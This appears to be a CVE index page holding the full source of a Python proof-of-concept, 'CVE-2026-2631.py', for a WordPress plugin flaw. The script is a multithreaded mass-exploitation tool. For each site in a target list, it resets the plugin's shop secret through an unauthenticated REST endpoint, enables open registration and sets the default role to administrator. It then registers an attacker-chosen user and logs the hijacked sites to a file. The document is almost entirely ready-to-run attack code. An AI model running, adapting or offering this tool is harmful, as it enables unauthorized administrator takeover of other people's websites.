5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-2631.py PY
#!/usr/bin/env python3
# By: Nxploited

import sys
import re
import threading
from queue import Queue
from typing import List, Tuple

import requests
from rich.console import Console
from rich.panel import Panel
from rich.text import Text
from rich.table import Table
from rich.live import Live
from rich.align import Align
from rich import box

try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
    pass

requests.packages.urllib3.disable_warnings()
console = Console()

SESSION = requests.Session()
SESSION.verify = False

RESULT_FILE = "Login_admin.txt"
USER_AGENT = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
    "AppleWebKit/537.36 (KHTML, like Gecko) "
    "Chrome/122.0.0.0 Safari/537.36"
)

SHOP_SECRET_FIELD = "shop_secret"

ACTION_RESET = "resetStoreConfigrations"
ACTION_OPTION = "createUpdateOption"

KEY_REGISTER = "users_can_register"
VAL_REGISTER = "1"
KEY_ROLE = "default_role"
VAL_ROLE = "administrator"

WP_REG_ACTION = "wp-login.php?action=register"

SUCCESS_RESET_PATTERN = re.compile(
    r"app secret key has been updated successfully", re.I
)
SUCCESS_OPTION_PATTERN = re.compile(
    r"wordpress option has been created or updated successfully", re.I
)
REGISTER_OPEN_PATTERN = re.compile(
    r"Users can register|Anyone can register|user\_registration|registerform", re.I
)


def render_banner() -> Panel:
    art = r"""
.  .         .       .         .     ,---,                 ,-.  
|\ |         |     o |         |        /                  |  \ 
| \| . , ;-. | ,-. . |-  ,-. ,-| ---   /   ,-. ;-. ,-. --- |  | 
|  |  X  | | | | | | |   |-' | |      /    |-' |   | |     |  / 
'  ' ' ` |-' ' `-' ' `-' `-' `-'     '---' `-' '   `-'     `-'  
         '                                                      
"""
    header = Text(art, justify="center", style="bold magenta")
    sub = Text(
        "By: Nxploited (Nxploited ZeroDay Hub)  |  Contact: @Kxploit",
        style="bold white",
        justify="center",
    )
    info = Text(
        "Flow: resetStoreConfigrations -> users_can_register=1 -> default_role=administrator -> auto register user\n"
        "Output: Login_admin.txt  |  Register: http(s)://target/wp-login.php?action=register",
        style="italic bright_black",
        justify="center",
    )
    combined = Text.assemble(header, "\n", sub, "\n\n", info)
    return Panel(
        Align.center(combined),
        border_style="white",
        box=box.HEAVY,
        padding=(1, 4),
    )


def prompt_targets_file() -> str:
    val = console.input(
        "[bold cyan]Targets file (one host/URL per line)[/bold cyan] [list.txt]: "
    ).strip()
    return val if val else "list.txt"


def prompt_threads() -> int:
    while True:
        val = console.input("[bold cyan]Threads (1-50)[/bold cyan] [10]: ").strip()
        if not val:
            return 10
        try:
            n = int(val)
            if n < 1:
                console.print("[red]Threads must be at least 1[/red]")
            else:
                return 50 if n > 50 else n
        except Exception:
            console.print("[red]Enter a valid integer[/red]")


def prompt_secret() -> str:
    val = console.input(
        "[bold cyan]shop_secret[/bold cyan] [Nxploited_newSecret]: "
    ).strip()
    return val if val else "Nxploited_newSecret"


def prompt_registration_creds() -> Tuple[str, str, str]:
    username = console.input(
        "[bold cyan]Registration username[/bold cyan] [Nx_test1]: "
    ).strip() or "Nx_test1"
    email = console.input(
        "[bold cyan]Registration email[/bold cyan] [[email protected]]: "
    ).strip() or "[email protected]"
    password = console.input(
        "[bold cyan]Registration password[/bold cyan] [Nx_adminSA]: "
    ).strip() or "Nx_adminSA"
    return username, email, password


def normalize_site(raw: str) -> str:
    raw = raw.strip()
    if not raw:
        return raw
    if not raw.startswith(("http://", "https://")):
        raw = "http://" + raw
    return raw.rstrip("/")


def build_headers(referer: str) -> dict:
    return {
        "User-Agent": USER_AGENT,
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.9",
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": referer,
    }


def send_reset_secret(site: str, secret: str, timeout: int = 10) -> Tuple[bool, str]:
    url = f"{site.rstrip('/')}/wp-json/gsf/v1/update-options"
    data = {
        "action": ACTION_RESET,
        SHOP_SECRET_FIELD: secret,
    }
    try:
        r = SESSION.post(url, data=data, headers=build_headers(url), timeout=timeout)
    except Exception as e:
        return False, f"reset_error:{e}"
    body = r.text or ""
    if SUCCESS_RESET_PATTERN.search(body):
        return True, "reset_ok"
    return False, f"reset_fail(status={r.status_code})"


def send_option(
    site: str,
    secret: str,
    key: str,
    value: str,
    timeout: int = 10,
) -> Tuple[bool, str]:
    url = f"{site.rstrip('/')}/wp-json/gsf/v1/update-options"
    data = {
        "action": ACTION_OPTION,
        SHOP_SECRET_FIELD: secret,
        "option_key": key,
        "option_value": value,
    }
    try:
        r = SESSION.post(url, data=data, headers=build_headers(url), timeout=timeout)
    except Exception as e:
        return False, f"option_error:{e}"
    body = r.text or ""
    if SUCCESS_OPTION_PATTERN.search(body):
        return True, "option_ok"
    return False, f"option_fail(status={r.status_code})"


def build_register_url(site: str) -> str:
    return f"{site.rstrip('/')}/{WP_REG_ACTION}"


def check_registration_open(site: str, timeout: int = 10) -> Tuple[bool, str]:
    url = build_register_url(site)
    try:
        r = SESSION.get(
            url,
            headers={"User-Agent": USER_AGENT, "Referer": site},
            timeout=timeout,
            verify=False,
        )
    except Exception as e:
        return False, f"reg_check_error:{e}"

    body = r.text or ""
    if r.status_code == 200 and REGISTER_OPEN_PATTERN.search(body):
        return True, "register_open"
    if "user registration is currently not allowed" in body.lower():
        return False, "register_closed"
    return False, f"reg_unknown(status={r.status_code})"


def try_register_user(
    site: str,
    username: str,
    email: str,
    password: str,
    timeout: int = 10,
) -> Tuple[bool, str]:
    url = build_register_url(site)

    try:
        r_get = SESSION.get(
            url,
            headers={"User-Agent": USER_AGENT, "Referer": site},
            timeout=timeout,
            verify=False,
        )
    except Exception as e:
        return False, f"reg_form_error:{e}"

    body = r_get.text or ""

    nonce_match = re.search(
        r'<input[^>]+name=["\']_wpnonce["\'][^>]*value=["\']([^"\']+)["\']',
        body,
        re.I,
    )
    nonce = nonce_match.group(1) if nonce_match else ""

    data = {
        "user_login": username,
        "user_email": email,
    }

    if "user_pass" in body or "password" in body.lower():
        data["user_pass"] = password
        data["user_pass2"] = password

    data["_wpnonce"] = nonce
    data["_wp_http_referer"] = "/wp-login.php?action=register"
    data["redirect_to"] = ""
    data["wp-submit"] = "Register"

    try:
        r_post = SESSION.post(
            url,
            data=data,
            headers=build_headers(url),
            timeout=timeout,
            verify=False,
        )
    except Exception as e:
        return False, f"reg_post_error:{e}"

    txt = (r_post.text or "").lower()
    if any(s in txt for s in ["registration complete", "check your email", "user registered"]):
        return True, f"registered user={username} email={email} pass={password}"

    if "username" in txt and "already" in txt and "exists" in txt:
        return True, "user_already_exists"

    return False, "reg_unknown_response"


def write_success_line(site: str, secret: str, detail: str) -> None:
    reg_url = build_register_url(site)
    line = f"{site} | register_url: {reg_url} | shop_secret: {secret} | {detail}\n"
    with open(RESULT_FILE, "a", encoding="utf-8") as f:
        f.write(line)


def worker(
    sites: List[str],
    queue: Queue,
    timeout: int,
    fixed_secret: str,
    reg_username: str,
    reg_email: str,
    reg_password: str,
) -> None:
    for raw_site in sites:
        site = normalize_site(raw_site)
        if not site:
            continue

        label = site
        secret = fixed_secret

        try:
            ok_reset, detail_reset = send_reset_secret(site, secret, timeout=timeout)
            if not ok_reset:
                queue.put(("fail", label, f"{detail_reset}"))
                continue

            ok_regopt, detail_regopt = send_option(
                site, secret, KEY_REGISTER, VAL_REGISTER, timeout=timeout
            )
            ok_roleopt, detail_roleopt = send_option(
                site, secret, KEY_ROLE, VAL_ROLE, timeout=timeout
            )

            if not (ok_regopt or ok_roleopt):
                queue.put(
                    (
                        "fail",
                        label,
                        f"{detail_regopt} | {detail_roleopt}",
                    )
                )
                continue

            reg_open, detail_open = check_registration_open(site, timeout=timeout)
            if not reg_open:
                write_success_line(
                    site,
                    secret,
                    f"{detail_reset},{detail_regopt},{detail_roleopt},{detail_open}",
                )
                queue.put(
                    (
                        "success",
                        label,
                        f"options_set (no_register) (secret={secret})",
                    )
                )
                continue

            ok_reguser, detail_reguser = try_register_user(
                site,
                reg_username,
                reg_email,
                reg_password,
                timeout=timeout,
            )
            if ok_reguser:
                write_success_line(
                    site,
                    secret,
                    f"{detail_reset},{detail_regopt},{detail_roleopt},{detail_open},{detail_reguser}",
                )
                queue.put(
                    (
                        "success",
                        label,
                        f"options_set + user_registered (secret={secret})",
                    )
                )
            else:
                write_success_line(
                    site,
                    secret,
                    f"{detail_reset},{detail_regopt},{detail_roleopt},{detail_open},reg_fail:{detail_reguser}",
                )
                queue.put(
                    (
                        "success",
                        label,
                        f"options_set (reg_attempt_failed) (secret={secret})",
                    )
                )

        except Exception as e:
            queue.put(("error", label, f"exception:{e}"))


def chunkify(lst: List[str], n: int) -> List[List[str]]:
    if n <= 0:
        n = 1
    return [lst[i::n] for i in range(n)]


def printer_loop(queue: Queue, total: int) -> None:
    table = Table(
        expand=True,
        show_lines=False,
        header_style="bold white",
    )
    table.add_column("#", justify="right", width=4)
    table.add_column("Site", justify="left")
    table.add_column("Status", justify="center", width=16)
    table.add_column("Detail", justify="left")

    processed = 0
    rows: List[Tuple[str, str, str, str]] = []

    with Live(Align.center(table), console=console, refresh_per_second=8) as live:
        while True:
            item = queue.get()
            if item is None:
                break
            typ, site, detail = item
            processed += 1
            idx = len(rows) + 1

            if typ == "success":
                status_text = "[green]SUCCESS[/green]"
            elif typ == "error":
                status_text = "[yellow]ERROR[/yellow]"
            else:
                status_text = "[red]FAILED[/red]"

            rows.append((str(idx), site, status_text, detail))

            table = Table(
                expand=True,
                show_lines=False,
                header_style="bold white",
            )
            table.add_column("#", justify="right", width=4)
            table.add_column("Site", justify="left")
            table.add_column("Status", justify="center", width=16)
            table.add_column("Detail", justify="left")

            for r in rows:
                table.add_row(*r)

            footer = Text(
                f"Processed {processed}/{total} targets · Output: {RESULT_FILE}",
                style="italic bright_black",
            )
            panel = Panel(
                Align.center(table),
                border_style="white",
                box=box.SQUARE,
                title="[bold cyan]gsf · users_can_register=1 · default_role=administrator[/bold cyan]",
                subtitle_align="right",
                subtitle=footer,
            )
            live.update(panel)


def main() -> None:
    console.clear()
    console.print(render_banner())

    targets_file = prompt_targets_file()
    threads_count = prompt_threads()
    timeout = 8
    fixed_secret = prompt_secret()
    reg_username, reg_email, reg_password = prompt_registration_creds()

    try:
        with open(targets_file, "r", encoding="utf-8") as f:
            targets = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        console.print(f"[bold red]Targets file not found: {targets_file}[/bold red]")
        sys.exit(1)

    if not targets:
        console.print("[bold red]Targets list is empty.[/bold red]")
        sys.exit(1)

    n_threads = min(threads_count, len(targets))
    chunks = chunkify(targets, n_threads)

    queue: Queue = Queue()
    printer = threading.Thread(
        target=printer_loop, args=(queue, len(targets)), daemon=True
    )
    printer.start()

    workers: List[threading.Thread] = []
    for chunk in chunks:
        t = threading.Thread(
            target=worker,
            args=(chunk, queue, timeout, fixed_secret, reg_username, reg_email, reg_password),
            daemon=True,
        )
        t.start()
        workers.append(t)

    for t in workers:
        t.join()

    queue.put(None)
    printer.join()

    console.print(
        f"\n[bold green]Done.[/bold green] Successful sites (if any) saved to [bold]{RESULT_FILE}[/bold]."
    )


if __name__ == "__main__":
    main()